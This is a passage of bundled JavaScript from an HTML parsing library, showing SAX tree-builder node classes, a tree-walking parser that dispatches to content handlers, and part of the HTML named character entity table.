locator); this.nodeType = NodeType.DOCUMENT; } Document.prototype = Object.create(ParentNode.prototype); Document.prototype.visit = function(treeParser) { treeParser.startDocument(this); }; Document.prototype.revisit = function(treeParser) { treeParser.endDocument(this.endLocator); }; function DocumentFragment() { ParentNode.call(this, new Locator()); this.nodeType = NodeType.DOCUMENT_FRAGMENT; } DocumentFragment.prototype = Object.create(ParentNode.prototype); DocumentFragment.prototype.visit = function(treeParser) { }; function Element(locator, uri, localName, qName, atts, prefixMappings) { ParentNode.call(this, locator); this.uri = uri; this.localName = localName; this.qName = qName; this.attributes = atts; this.prefixMappings = prefixMappings; this.nodeType = NodeType.ELEMENT; } Element.prototype = Object.create(ParentNode.prototype); Element.prototype.visit = function(treeParser) { if (this.prefixMappings) { for (var key in prefixMappings) { var mapping = prefixMappings[key]; treeParser.startPrefixMapping(mapping.getPrefix(), mapping.getUri(), this); } } treeParser.startElement(this.uri, this.localName, this.qName, this.attributes, this); }; Element.prototype.revisit = function(treeParser) { treeParser.endElement(this.uri, this.localName, this.qName, this.endLocator); if (this.prefixMappings) { for (var key in prefixMappings) { var mapping = prefixMappings[key]; treeParser.endPrefixMapping(mapping.getPrefix(), this.endLocator); } } }; function Characters(locator, data){ Node.call(this, locator); this.data = data; this.nodeType = NodeType.CHARACTERS; } Characters.prototype = Object.create(Node.prototype); Characters.prototype.visit = function (treeParser) { treeParser.characters(this.data, 0, this.data.length, this); }; function IgnorableWhitespace(locator, data) { Node.call(this, locator); this.data = data; this.nodeType = NodeType.IGNORABLE_WHITESPACE; } IgnorableWhitespace.prototype = Object.create(Node.prototype); IgnorableWhitespace.prototype.visit = function(treeParser) { treeParser.ignorableWhitespace(this.data, 0, this.data.length, this); }; function Comment(locator, data) { Node.call(this, locator); this.data = data; this.nodeType = NodeType.COMMENT; } Comment.prototype = Object.create(Node.prototype); Comment.prototype.visit = function(treeParser) { treeParser.comment(this.data, 0, this.data.length, this); }; function CDATA(locator) { ParentNode.call(this, locator); this.nodeType = NodeType.CDATA; } CDATA.prototype = Object.create(ParentNode.prototype); CDATA.prototype.visit = function(treeParser) { treeParser.startCDATA(this); }; CDATA.prototype.revisit = function(treeParser) { treeParser.endCDATA(this.endLocator); }; function Entity(name) { ParentNode.call(this); this.name = name; this.nodeType = NodeType.ENTITY; } Entity.prototype = Object.create(ParentNode.prototype); Entity.prototype.visit = function(treeParser) { treeParser.startEntity(this.name, this); }; Entity.prototype.revisit = function(treeParser) { treeParser.endEntity(this.name); }; function SkippedEntity(name) { Node.call(this); this.name = name; this.nodeType = NodeType.SKIPPED_ENTITY; } SkippedEntity.prototype = Object.create(Node.prototype); SkippedEntity.prototype.visit = function(treeParser) { treeParser.skippedEntity(this.name, this); }; function ProcessingInstruction(target, data) { Node.call(this); this.target = target; this.data = data; } ProcessingInstruction.prototype = Object.create(Node.prototype); ProcessingInstruction.prototype.visit = function(treeParser) { treeParser.processingInstruction(this.target, this.data, this); }; ProcessingInstruction.prototype.getNodeType = function() { return NodeType.PROCESSING_INSTRUCTION; }; function DTD(name, publicIdentifier, systemIdentifier) { ParentNode.call(this); this.name = name; this.publicIdentifier = publicIdentifier; this.systemIdentifier = systemIdentifier; this.nodeType = NodeType.DTD; } DTD.prototype = Object.create(ParentNode.prototype); DTD.prototype.visit = function(treeParser) { treeParser.startDTD(this.name, this.publicIdentifier, this.systemIdentifier, this); }; DTD.prototype.revisit = function(treeParser) { treeParser.endDTD(); }; exports.SAXTreeBuilder = SAXTreeBuilder; }, {"../TreeBuilder":6,"util":20}], 11:[function(_dereq_,module,exports){ function TreeParser(contentHandler, lexicalHandler){ this.contentHandler; this.lexicalHandler; this.locatorDelegate; if (!contentHandler) { throw new IllegalArgumentException("contentHandler was null."); } this.contentHandler = contentHandler; if (!lexicalHandler) { this.lexicalHandler = new NullLexicalHandler(); } else { this.lexicalHandler = lexicalHandler; } } TreeParser.prototype.parse = function(node) { this.contentHandler.documentLocator = this; var current = node; var next; for (;;) { current.visit(this); if (next = current.firstChild) { current = next; continue; } for (;;) { current.revisit(this); if (current == node) { return; } if (next = current.nextSibling) { current = next; break; } current = current.parentNode; } } }; TreeParser.prototype.characters = function(ch, start, length, locator) { this.locatorDelegate = locator; this.contentHandler.characters(ch, start, length); }; TreeParser.prototype.endDocument = function(locator) { this.locatorDelegate = locator; this.contentHandler.endDocument(); }; TreeParser.prototype.endElement = function(uri, localName, qName, locator) { this.locatorDelegate = locator; this.contentHandler.endElement(uri, localName, qName); }; TreeParser.prototype.endPrefixMapping = function(prefix, locator) { this.locatorDelegate = locator; this.contentHandler.endPrefixMapping(prefix); }; TreeParser.prototype.ignorableWhitespace = function(ch, start, length, locator) { this.locatorDelegate = locator; this.contentHandler.ignorableWhitespace(ch, start, length); }; TreeParser.prototype.processingInstruction = function(target, data, locator) { this.locatorDelegate = locator; this.contentHandler.processingInstruction(target, data); }; TreeParser.prototype.skippedEntity = function(name, locator) { this.locatorDelegate = locator; this.contentHandler.skippedEntity(name); }; TreeParser.prototype.startDocument = function(locator) { this.locatorDelegate = locator; this.contentHandler.startDocument(); }; TreeParser.prototype.startElement = function(uri, localName, qName, atts, locator) { this.locatorDelegate = locator; this.contentHandler.startElement(uri, localName, qName, atts); }; TreeParser.prototype.startPrefixMapping = function(prefix, uri, locator) { this.locatorDelegate = locator; this.contentHandler.startPrefixMapping(prefix, uri); }; TreeParser.prototype.comment = function(ch, start, length, locator) { this.locatorDelegate = locator; this.lexicalHandler.comment(ch, start, length); }; TreeParser.prototype.endCDATA = function(locator) { this.locatorDelegate = locator; this.lexicalHandler.endCDATA(); }; TreeParser.prototype.endDTD = function(locator) { this.locatorDelegate = locator; this.lexicalHandler.endDTD(); }; TreeParser.prototype.endEntity = function(name, locator) { this.locatorDelegate = locator; this.lexicalHandler.endEntity(name); }; TreeParser.prototype.startCDATA = function(locator) { this.locatorDelegate = locator; this.lexicalHandler.startCDATA(); }; TreeParser.prototype.startDTD = function(name, publicId, systemId, locator) { this.locatorDelegate = locator; this.lexicalHandler.startDTD(name, publicId, systemId); }; TreeParser.prototype.startEntity = function(name, locator) { this.locatorDelegate = locator; this.lexicalHandler.startEntity(name); }; Object.defineProperty(TreeParser.prototype, 'columnNumber', { get: function() { if (!this.locatorDelegate) return -1; else return this.locatorDelegate.columnNumber; } }); Object.defineProperty(TreeParser.prototype, 'lineNumber', { get: function() { if (!this.locatorDelegate) return -1; else return this.locatorDelegate.lineNumber; } }); function NullLexicalHandler() { } NullLexicalHandler.prototype.comment = function() {}; NullLexicalHandler.prototype.endCDATA = function() {}; NullLexicalHandler.prototype.endDTD = function() {}; NullLexicalHandler.prototype.endEntity = function() {}; NullLexicalHandler.prototype.startCDATA = function() {}; NullLexicalHandler.prototype.startDTD = function() {}; NullLexicalHandler.prototype.startEntity = function() {}; exports.TreeParser = TreeParser; }, {}], 12:[function(_dereq_,module,exports){ module.exports = { "Aacute;": "\u00C1", "Aacute": "\u00C1", "aacute;": "\u00E1", "aacute": "\u00E1", "Abreve;": "\u0102", "abreve;": "\u0103", "ac;": "\u223E", "acd;": "\u223F", "acE;": "\u223E\u0333", "Acirc;": "\u00C2", "Acirc": "\u00C2", "acirc;": "\u00E2", "acirc": "\u00E2", "acute;": "\u00B4", "acute": "\u00B4", "Acy;": "\u0410", "acy;": "\u0430", "AElig;": "\u00C6", "AElig": "\u00C6", "aelig;": "\u00E6", "aelig": "\u00E6", "af;": "\u2061", "Afr;": "\uD835\uDD04", "afr;": "\uD835\uDD1E", "Agrave;": "\u00C0", "Agrave": "\u00C0", "agrave;": "\u00E0", "agrave": "\u00E0", "alefsym;": "\u2135", "aleph;": "\u2135", "Alpha;": "\u0391", "alpha;": "\u03B1", "Amacr;": "\u0100", "amacr;": "\u0101", "amalg;": "\u2A3F", "amp;": "\u0026", "amp": "\u0026", "AMP;": "\u0026", "AMP": "\u0026", "andand;": "\u2A55", "And;": "\u2A53", "and;": "\u2227", "andd;": "\u2A5C", "andslope;": "\u2A58", "andv;": "\u2A5A", "ang;": "\u2220", "ange;": "\u29A4", "angle;": "\u2220", "angmsdaa;": "\u29A8", "angmsdab;": "\u29A9", "angmsdac;": "\u29AA", "angmsdad;": "\u29AB", "angmsdae;": "\u29AC", "angmsdaf;": "\u29AD", "angmsdag;": "\u29AE", "angmsdah;": "\u29AF", "angmsd;": "\u2221", "angrt;": "\u221F", "angrtvb;": "\u22BE", "angrtvbd;": "\u299D", "angsph;": "\u2222", "angst;": "\u00C5", "angzarr;": "\u237C", "Aogon;": "\u0104", "aogon;": "\u0105", "Aopf;": "\uD835\uDD38", "aopf;": "\uD835\uDD52", "apacir;": "\u2A6F", "ap;": "\u2248", "apE;": "\u2A70", "ape;": "\u224A", "apid;": "\u224B", "apos;": "\u0027", "ApplyFunction;": "\u2061", "approx;": "\u2248", "approxeq;": "\u224A", "Aring;": "\u00C5", "Aring": "\u00C5", "aring;": "\u00E5", "aring": "\u00E5", "Ascr;": "\uD835\uDC9C", "ascr;": "\uD835\uDCB6", "Assign;": "\u2254", "ast;": "\u002A", "asymp;": "\u2248", "asympeq;": "\u224D", "Atilde;": "\u00C3", "Atilde": "\u00C3", "atilde;": "\u00E3", "atilde": "\u00E3", "Auml;": "\u00C4", "Auml": "\u00C4", "auml;": "\u00E4", "auml": "\u00E4", "awconint;": "\u2233", "awint;": "\u2A11", "backcong;": "\u224C", "backepsilon;": "\u03F6", "backprime;": "\u2035", "backsim;": "\u223D", "backsimeq;": "\u22CD", "Backslash;": "\u2216", "Barv;": "\u2AE7", "barvee;": "\u22BD", "barwed;": "\u2305", "Barwed;": "\u2306", "barwedge;": "\u2305", "bbrk;": "\u23B5", "bbrktbrk;": "\u23B6", "bcong;": "\u224C", "Bcy;": "\u0411", "bcy;": "\u0431", "bdquo;": "\u201E", "becaus;": "\u2235", "because;": "\u2235", "Because;": "\u2235", "bemptyv;": "\u29B0", "bepsi;": "\u03F6", "bernou;": "\u212C", "Bernoullis;": "\u212C", "Beta;": "\u0392", "beta;": "\u03B2", "beth;": "\u2136", "between;": "\u226C", "Bfr;": "\uD835\uDD05", "bfr;": "\uD835\uDD1F", "bigcap;": "\u22C2", "bigcirc;": "\u25EF", "bigcup;": "\u22C3", "bigodot;": "\u2A00", "bigoplus;": "\u2A01", "bigotimes;": "\u2A02", "bigsqcup;": "\u2A06", "bigstar;": "\u2605", "bigtriangledown;": "\u25BD", "bigtriangleup;": "\u25B3", "biguplus;": "\u2A04", "bigvee;": "\u22C1", "bigwedge;": "\u22C0", "bkarow;": "\u290D", "blacklozenge;": "\u29EB", "blacksquare;": "\u25AA", "blacktriangle;": "\u25B4", "blacktriangledown;": "\u25BE", "blacktriangleleft;": "\u25C2", "blacktriangleright;": "\u25B8", "blank;": "\u2423", "blk12;": "\u2592", "blk14;": "\u2591", "blk34;": "\u2593", "block;": "\u2588", "bne;": "\u003D\u20E5", "bnequiv;": "\u2261\u20E5", "bNot;": "\u2AED", "bnot;": "\u2310", "Bopf;": "\uD835\uDD39", "bopf;": "\uD835\uDD53", "bot;": "\u22A5", "bottom;": "\u22A5", "bowtie;": "\u22C8", "boxbox;": "\u29C9", "boxdl;": "\u2510", "boxdL;": "\u2555", "boxDl;": "\u2556", "boxDL;": "\u2557", "boxdr;": "\u250C", "boxdR;": "\u2552", "boxDr;": "\u2553", "boxDR;": "\u2554", "boxh;": "\u2500", "boxH;": "\u2550", "boxhd;": "\u252C", "boxHd;": "\u2564", "boxhD;": "\u2565", "boxHD;": "\u2566", "boxhu;": "\u2534", "boxHu;": "\u2567", "boxhU;": "\u2568", "boxHU;": "\u2569", "boxminus;": "\u229F", "boxplus;": "\u229E", "boxtimes;": "\u22A0", "boxul;": "\u2518", "boxuL;": "\u255B", "boxUl;": "\u255C", "boxUL;": "\u255D", "boxur;": "\u2514", "boxuR;": "\u2558", "boxUr;": "\u2559", "boxUR;": "\u255A", "boxv;": "\u2502", "boxV;": "\u2551", "boxvh;": "\u253C", "boxvH;": "\u256A", "boxVh;": "\u256B", "boxVH;": "\u256C", "boxvl;": "\u2524", "boxvL;": "\u2561", "boxVl;": "\u2562", "boxVL;": "\u2563", "boxvr;": "\u251C", "boxvR;": "\u255E", "boxVr;": "\u255F", "boxVR;": "\u2560", "bprime;": "\u2035", "breve;": "\u02D8", "Breve;": "\u02D8", "brvbar;": "\u00A6", "brvbar": "\u00A6", "bscr;": "\uD835\uDCB7", "Bscr;": "\u212C", "bsemi;": "\u204F", "bsim;": "\u223D", "bsime;": "\u22CD", "bsolb;": "\u29C5", "bsol;": "\u005C", "bsolhsub;": "\u27C8", "bull;": "\u2022", "bullet;": "\u2022", "bump;": "\u224E", "bumpE;": "\u2AAE", "bumpe;": "\u224F", "Bumpeq;": "\u224E", "bumpeq;": "\u224F", "Cacute;": "\u0106", "cacute;": "\u0107", "capand;": "\u2A44", "capbrcup;": "\u2A49", "capcap;": "\u2A4B", "cap;": "\u2229", "Cap;": "\u22D2", "capcup;": "\u2A47", "capdot;": "\u2A40", "CapitalDifferentialD;": "\u2145", "caps;": "\u2229\uFE00", "caret;": "\u2041", "caron;": "\u02C7", "Cayleys;": "\u212D", "ccaps;": "\u2A4D", "Ccaron;": "\u010C", "ccaron;": "\u010D", "Ccedil;": "\u00C7", "Ccedil": "\u00C7", "ccedil;": "\u00E7", "ccedil": "\u00E7", "Ccirc;": "\u0108", "ccirc;": "\u0109", "Cconint;": "\u2230", "ccups;": "\u2A4C", "ccupssm;": "\u2A50", "Cdot;": "\u010A", "cdot;": "\u010B", "cedil;": "\u00B8", "cedil": "\u00B8", "Cedilla;": "\u00B8", "cemptyv;": "\u29B2", "cent;": "\u00A2", "cent": "\u00A2", "centerdot;": "\u00B7", "CenterDot;": "\u00B7", "cfr;": "\uD835\uDD20", "Cfr;": "\u212D", "CHcy;": "\u0427", "chcy;": "\u0447", "check;": "\u2713", "checkmark;": "\u2713", "Chi;": "\u03A7", "chi;": "\u03C7", "circ;": "\u02C6", "circeq;": "\u2257", "circlearrowleft;": "\u21BA", "circlearrowright;": "\u21BB", "circledast;": "\u229B", "circledcirc;": "\u229A", "circleddash;": "\u229D", "CircleDot;": "\u2299", "circledR;": "\u00AE", "circledS;": "\u24C8", "CircleMinus;": "\u2296", "CirclePlus;": "\u2295", "CircleTimes;": "\u2297", "cir;": "\u25CB", "cirE;": "\u29C3", "cire;": "\u2257", "cirfnint;": "\u2A10", "cirmid;": "\u2AEF", "cirscir;": "\u29C2", "ClockwiseContourIntegral;": "\u2232", "CloseCurlyDoubleQuote;": "\u201D", "CloseCurlyQuote;": "\u2019", "clubs;": "\u2663", "clubsuit;": "\u2663", "colon;": "\u003A", "Colon;": "\u2237", "Colone;": "\u2A74", "colone;": "\u2254", "coloneq;": "\u2254", "comma;": "\u002C", "commat;": "\u0040", "comp;": "\u2201", "compfn;": "\u2218", "complement;": "\u2201", "complexes;": "\u2102", "cong;": "\u2245", "congdot;": "\u2A6D", "Congruent;": "\u2261", "conint;": "\u222E", "Conint;": "\u222F", "ContourIntegral;": "\u222E", "copf;": "\uD835\uDD54", "Copf;": "\u2102", "coprod;": "\u2210", "Coproduct;": "\u2210", "copy;": "\u00A9", "copy": "\u00A9", "COPY;": "\u00A9", "COPY": "\u00A9", "copysr;": "\u2117", "CounterClockwiseContourIntegral;": "\u2233", "crarr;": "\u21B5", "cross;": "\u2717", "Cross;": "\u2A2F", "Cscr;": "\uD835\uDC9E", "cscr;": "\uD835\uDCB8", "csub;": "\u2ACF", "csube;": "\u2AD1", "csup;": "\u2AD0", "csupe;": "\u2AD2", "ctdot;": "\u22EF", "cudarrl;": "\u2938", "cudarrr;": "\u2935", "cuepr;": "\u22DE", "cuesc;": "\u22DF", "cularr;": "\u21B6", "cularrp;": "\u293D", "cupbrcap;": "\u2A48", "cupcap;": "\u2A46", "CupCap;": "\u224D", "cup;": "\u222A", "Cup;": "\u22D3", "cupcup;": "\u2A4A", "cupdot;": "\u228D", "cupor;": "\u2A45", "cups;": "\u222A\uFE00", "curarr;": "\u21B7", "curarrm;": "\u293C", "curlyeqprec;": "\u22DE", "curlyeqsucc;": "\u22DF", "curlyvee;": "\u22CE", "curlywedge;": "\u22CF", "curren;": "\u00A4", "curren": "\u00A4", "curvearrowleft;": "\u21B6", "curvearrowright;": "\u21B7", "cuvee;": "\u22CE", "cuwed;": "\u22CF", "cwconint;": "\u2232", "cwint;": "\u2231", "cylcty;": "\u232D", "dagger;": "\u2020", "Dagger;": "\u2021", "daleth;": "\u2138", "darr;": "\u2193", "Darr;": "\u21A1", "dArr;": "\u21D3", "dash;": "\u2010", "Dashv;": "\u2AE4", "dashv;": "\u22A3", "dbkarow;": "\u290F", "dblac;": "\u02DD", "Dcaron;": "\u010E", "dcaron;": "\u010F", "Dcy;": "\u0414", "dcy;": "\u0434", "ddagger;": "\u2021", "ddarr;": "\u21CA", "DD;": "\u2145", "dd;": "\u2146", "DDotrahd;": "\u2911", "ddotseq;": "\u2A77", "deg;": "\u00B0", "deg": "\u00B0", "Del;": "\u2207", "Delta;": "\u0394", "delta;": "\u03B4", "demptyv;": "\u29B1", "dfisht;": "\u297F", "Dfr;": "\uD835\uDD07", "dfr;": "\uD835\uDD21", "dHar;": "\u2965", "dharl;": "\u21C3", "dharr;": "\u21C2", "DiacriticalAcute;": "\u00B4", "DiacriticalDot;": "\u02D9", "DiacriticalDoubleAcute;": "\u02DD", "DiacriticalGrave;": "\u0060", "DiacriticalTilde;": "\u02DC", "diam;": "\u22C4", "diamond;": "\u22C4", "Diamond;": "\u22C4", "diamondsuit;": "\u2666", "diams;": "\u2666", "die;": "\u00A8", "DifferentialD;": "\u2146", "digamma;": "\u03DD", "disin;": "\u22F2", "div;": "\u00F7", "divide;": "\u00F7", "divide": "\u00F7", "divideontimes;": "\u22C7", "divonx;": "\u22C7", "DJcy;": "\u0402", "djcy;": "\u0452", "dlcorn;": "\u231E", "dlcrop;": "\u230D", "dollar;": "\u0024", "Dopf;": "\uD835\uDD3B", "dopf;": "\uD835\uDD55", "Dot;": "\u00A8", "dot;": "\u02D9", "DotDot;": "\u20DC", "doteq;": "\u2250", "doteqdot;": "\u2251", "DotEqual;": "\u2250", "dotminus;": "\u2238", "dotplus;": "\u2214", "dotsquare;": "\u22A1", "doublebarwedge;": "\u2306", "DoubleContourIntegral;": "\u222F", "DoubleDot;": "\u00A8", "DoubleDownArrow;": "\u21D3", "DoubleLeftArrow;": "\u21D0", "DoubleLeftRightArrow;": "\u21D4", "DoubleLeftTee;": "\u2AE4", "DoubleLongLeftArrow;": "\u27F8", "DoubleLongLeftRightArrow;": "\u27FA", "DoubleLongRightArrow;": "\u27F9", "DoubleRightArrow;": "\u21D2", "DoubleRightTee;": "\u22A8", "DoubleUpArrow;": "\u21D1", "DoubleUpDownArrow;": "\u21D5", "DoubleVerticalBar;": "\u2225", "DownArrowBar;": "\u2913", "downarrow;": "\u2193", "DownArrow;": "\u2193", "Downarrow;": "\u21D3", "DownArrowUpArrow;": "\u21F5", "DownBreve;": "\u0311", "downdownarrows;": "\u21CA", "downharpoonleft;": "\u21C3", "downharpoonright;": "\u21C2", "DownLeftRightVector;": "\u2950", "DownLeftTeeVector;": "\u295E", "DownLeftVectorBar;": "\u2956", "DownLeftVector;": "\u21BD", "DownRightTeeVector;": "\u295F", "DownRightVectorBar;": "\u2957", "DownRightVector;": "\u21C1", "DownTeeArrow;": "\u21A7", "DownTee;": "\u22A4", "drbkarow;": "\u2910", "drcorn;": "\u231F", "drcrop;": "\u230C", "Dscr;": "\uD835\uDC9F", "dscr;": "\uD835\uDCB9", "DScy;": "\u0405", "dscy;": "\u0455", "dsol;": "\u29F6", "Dstrok;": "\u0110", "dstrok;": "\u0111", "dtdot;": "\u22F1", "dtri;": "\u25BF", "dtrif;": "\u25BE", "duarr;": "\u21F5", "duhar;": "\u296F", "dwangle;": "\u29A6", "DZcy;": "\u040F", "dzcy;": "\u045F", "dzigrarr;": "\u27FF", "Eacute;": "\u00C9", "Eacute": "\u00C9", "eacute;": "\u00E9", "eacute": "\u00E9", "easter;": "\u2A6E", "Ecaron;": "\u011A", "ecaron;": "\u011B", "Ecirc;": "\u00CA", "Ecirc": "\u00CA", "ecirc;": "\u00EA", "ecirc": "\u00EA", "ecir;": "\u2256", "ecolon;": "\u2255", "Ecy;": "\u042D", "ecy;": "\u044D", "eDDot;": "\u2A77", "Edot;": "\u0116", "edot;": "\u0117", "eDot;": "\u2251", "ee;": "\u2147", "efDot;": "\u2252", "Efr;": "\uD835\uDD08", "efr;": "\uD835\uDD22", "eg;": "\u2A9A", "Egrave;": "\u00C8", "Egrave": "\u00C8", "egrave;": "\u00E8", "egrave": "\u00E8", "egs;": "\u2A96", "egsdot;": "\u2A98", "el;": "\u2A99", "Element;": "\u2208", "elinters;": "\u23E7", "ell;": "\u2113", "els;": "\u2A95", "elsdot;": "\u2A97", "Emacr;": "\u0112", "emacr;": "\u0113", "empty;": "\u2205", "emptyset;": "\u2205", "EmptySmallSquare;": "\u25FB", "emptyv;": "\u2205", "EmptyVerySmallSquare;": "\u25AB", "emsp13;": "\u2004", "emsp14;": "\u2005", "emsp;": "\u2003", "ENG;": "\u014A", "eng;": "\u014B", "ensp;": "\u2002", "Eogon;": "\u0118", "eogon;": "\u0119", "Eopf;": "\uD835\uDD3C", "eopf;": "\uD835\uDD56", "epar;": "\u22D5", "eparsl;": "\u29E3", "eplus;": "\u2A71", "epsi;": "\u03B5", "Epsilon;": "\u0395", "epsilon;": "\u03B5", "epsiv;": "\u03F5", "eqcirc;": "\u2256", "eqcolon;": "\u2255", "eqsim;": "\u2242", "eqslantgtr;": "\u2A96", "eqslantless;": "\u2A95", "Equal;": "\u2A75", "equals;": "\u003D", "EqualTilde;": "\u2242", "equest;": "\u225F", "Equilibrium;": "\u21CC", "equiv;": "\u2261", "equivDD;": "\u2A78", "eqvparsl;": "\u29E5", "erarr;": "\u2971", "erDot;": "\u2253", "escr;": "\u212F", "Escr;": "\u2130", "esdot;": "\u2250", "Esim;": "\u2A73", "esim;": "\u2242", "Eta;": "\u0397", "eta;": "\u03B7", "ETH;": "\u00D0", "ETH": "\u00D0", "eth;": "\u00F0", "eth": "\u00F0", "Euml;": "\u00CB", "Euml": "\u00CB", "euml;": "\u00EB", "euml": "\u00EB", "euro;": "\u20AC", "excl;": "\u0021", "exist;": "\u2203", "Exists;": "\u2203", "expectation;": "\u2130", "exponentiale;": "\u2147", "ExponentialE;": "\u2147", "fallingdotseq;": "\u2252", "Fcy;": "\u0424", "fcy;": "\u0444", "female;": "\u2640", "ffilig;": "\uFB03", "fflig;": "\uFB00", "ffllig;": "\uFB04", "Ffr;": "\uD835\uDD09", "ffr;": "\uD835\uDD23", "filig;": "\uFB01", "FilledSmallSquare;": "\u25FC", "FilledVerySmallSquare;": "\u25AA", "fjlig;": "\u0066\u006A", "flat;": "\u266D", "fllig;": "\uFB02", "fltns;": "\u25B1", "fnof;": "\u0192", "Fopf;": "\uD835\uDD3D", "fopf;": "\uD835\uDD57", "forall;": "\u2200", "ForAll;": "\u2200", "fork;": "\u22D4", "forkv;": "\u2AD9", "Fouriertrf;": "\u2131", "fpartint;": "\u2A0D", "frac12;": "\u00BD", "frac12": "\u00BD", "frac13;": "\u2153", "frac14;": "\u00BC", "frac14": "\u00BC", "frac15;": "\u2155", "frac16;": "\u2159", "frac18;": "\u215B", "frac23;": "\u2154", "frac25;": "\u2156", "frac34;": "\u00BE", "frac34": "\u00BE", "frac35;": "\u2157", "frac38;": "\u215C", "frac45;": "\u2158", "frac56;": "\u215A", "frac58;": "\u215D", "frac78;": "\u215E", "frasl;": "\u2044", "frown;": "\u2322", "fscr;": "\uD835\uDCBB", "Fscr;": "\u2131", "gacute;": "\u01F5", "Gamma;": "\u0393", "gamma;": "\u03B3", "Gammad;": "\u03DC", "gammad;": "\u03DD", "gap;": "\u2A86", "Gbreve;": "\u011E", "gbreve;": "\u011F", "Gcedil;": "\u0122", "Gcirc;": "\u011C", "gcirc;": "\u011D", "Gcy;": "\u0413", "gcy;": "\u0433", "Gdot;": "\u0120", "gdot;": "\u0121", "ge;": "\u2265", "gE;": "\u2267", "gEl;": "\u2A8C", "gel;": "\u22DB", "geq;": "\u2265", "geqq;": "\u2267", "geqslant;": "\u2A7E", "gescc;": "\u2AA9", "ges;": "\u2A7E", "gesdot;": "\u2A80", "gesdoto;": "\u2A82", "gesdotol;": "\u2A84", "gesl;": "\u22DB\uFE00", "gesles;": "\u2A94", "Gfr;": "\uD835\uDD0A", "gfr;": "\uD835\uDD24", "gg;": "\u226B", "Gg;": "\u22D9", "ggg;": "\u22D9", "gimel;": "\u2137", "GJcy;": "\u0403", "gjcy;": "\u0453", "gla;": "\u2AA5", "gl;": "\u2277", "glE;": "\u2A92", "glj;": "\u2AA4", "gnap;": "\u2A8A", "gnapprox;": "\u2A8A", "gne;": "\u2A88", "gnE;": "\u2269", "gneq;": "\u2A88", "gneqq;": "\u2269", "gnsim;": "\u22E7", "Gopf;": "\uD835\uDD3E", "gopf;": "\uD835\uDD58", "grave;": "\u0060", "GreaterEqual;": "\u2265", "GreaterEqualLess;": "\u22DB", "GreaterFullEqual;": "\u2267", "GreaterGreater;": "\u2AA2", "GreaterLess;": "\u2277", "GreaterSlantEqual;": "\u2A7E", "GreaterTilde;": "\u2273", "Gscr;": "\uD835\uDCA2", "gscr;": "\u210A", "gsim;": "\u2273", "gsime;": "\u2A8E", "gsiml;": "\u2A90", "gtcc;": "\u2AA7", "gtcir;": "\u2A7A", "gt;": "\u003E", "gt": "\u003E", "GT;": "\u003E", "GT": "\u003E", "Gt;": "\u226B", "gtdot;": "\u22D7", "gtlPar;": "\u2995", "gtquest;": "\u2A7C", "gtrapprox;": "\u2A86", "gtrarr;": "\u2978", "gtrdot;": "\u22D7", "gtreqless;": "\u22DB", "gtreqqless;": "\u2A8C", "gtrless;": "\u2277", "gtrsim;": "\u2273", "gvertneqq;": "\u2269\uFE00", "gvnE;": "\u2269\uFE00", "Hacek;": "\u02C7", "hairsp;": "\u200A", "half;": "\u00BD", "hamilt;": "\u210B", "HARDcy;": "\u042A", "hardcy;": "\u044A", "harrcir;": "\u2948", "harr;": "\u2194", "hArr;": "\u21D4", "harrw;": "\u21AD", "Hat;": "\u005E", "hbar;": "\u210F", "Hcirc;": "\u0124", "hcirc;": "\u0125", "hearts;": "\u2665", "heartsuit;": "\u2665", "hellip;": "\u2026", "hercon;": "\u22B9", "hfr;": "\uD835\uDD25", "Hfr;": "\u210C", "HilbertSpace;": "\u210B", "hksearow;": "\u2925", "hkswarow;": "\u2926", "hoarr;": "\u21FF", "homtht;": "\u223B", "hookleftarrow;": "\u21A9", "hookrightarrow;": "\u21AA", "hopf;": "\uD835\uDD59", "Hopf;": "\u210D", "horbar;": "\u2015", "HorizontalLine;": "\u2500", "hscr;": "\uD835\uDCBD", "Hscr;": "\u210B", "hslash;": "\u210F", "Hstrok;": "\u0126", "hstrok;": "\u0127", "HumpDownHump;": "\u224E", "HumpEqual;": "\u224F", "hybull;": "\u2043", "hyphen;": "\u2010", "Iacute;": "\u00CD", "Iacute": "\u00CD", "iacute;": "\u00ED", "iacute": "\u00ED", "ic;": "\u2063", "Icirc;": "\u00CE", "Icirc": "\u00CE", "icirc;": "\u00EE", "icirc": "\u00EE", "Icy;": "\u0418", "icy;": "\u0438", "Idot;": "\u0130", "IEcy;": "\u0415", "iecy;": "\u0435", "iexcl;": "\u00A1", "iexcl": "\u00A1", "iff;": "\u21D4", "ifr;": "\uD835\uDD26", "Ifr;": "\u2111", "Igrave;": "\u00CC", "Igrave": "\u00CC", "igrave;": "\u00EC", "igrave": "\u00EC", "ii;": "\u2148", "iiiint;": "\u2A0C", "iiint;": "\u222D", "iinfin;": "\u29DC", "iiota;": "\u2129", "IJlig;": "\u0132", "ijlig;": "\u0133", "Imacr;": "\u012A", "imacr;": "\u012B", "image;": "\u2111", "ImaginaryI;": "\u2148", "imagline;": "\u2110", "imagpart;": "\u2111", "imath;": "\u0131", "Im;": "\u2111", "imof;": "\u22B7", "imped;": "\u01B5", "Implies;": "\u21D2", "incare;": "\u2105", "in;": "\u2208", "infin;": "\u221E", "infintie;": "\u29DD", "inodot;": "\u0131", "intcal;": "\u22BA", "int;": "\u222B", "Int;": "\u222C", "integers;": "\u2124", "Integral;": "\u222B", "intercal;": "\u22BA", "Intersection;": "\u22C2", "intlarhk;": "\u2A17", "intprod;": "\u2A3C", "InvisibleComma;": "\u2063", "InvisibleTimes;": "\u2062", "IOcy;": "\u0401", "iocy;": "\u0451", "Iogon;": "\u012E", "iogon;": "\u012F", "Iopf;": "\uD835\uDD40", "iopf;": "\uD835\uDD5A", "Iota;": "\u0399", "iota;": "\u03B9", "iprod;": "\u2A3C", "iquest;": "\u00BF", "iquest": "\u00BF", "iscr;": "\uD835\uDCBE", "Iscr;": "\u2110", "isin;": "\u2208", "isindot;": "\u22F5", "isinE;": "\u22F9", "isins;": "\u22F4", "isinsv;": "\u22F3", "isinv;": "\u2208", "it;": "\u2062", "Itilde;": "\u0128", "itilde;": "\u0129", "Iukcy;": "\u0406", "iukcy;": "\u0456", "Iuml;": "\u00CF", "Iuml": "\u00CF", "iuml;": "\u00EF", "iuml": "\u00EF", "Jcirc;": "\u0134", "jcirc;": "\u0135", "Jcy;": "\u0419", "jcy;": "\u0439", "Jfr;": "\uD835\uDD0D", "jfr;": "\uD835\uDD27", "jmath;": "\u0237", "Jopf;": "\uD835\uDD41", "jopf;": "\uD835\uDD5B", "Jscr;": "\uD835\uDCA5", "jscr;": "\uD835\uDCBF", "Jsercy;": "\u0408", "jsercy;": "\u0458", "Jukcy;": "\u0404", "jukcy;": "\u0454", "Kappa;": 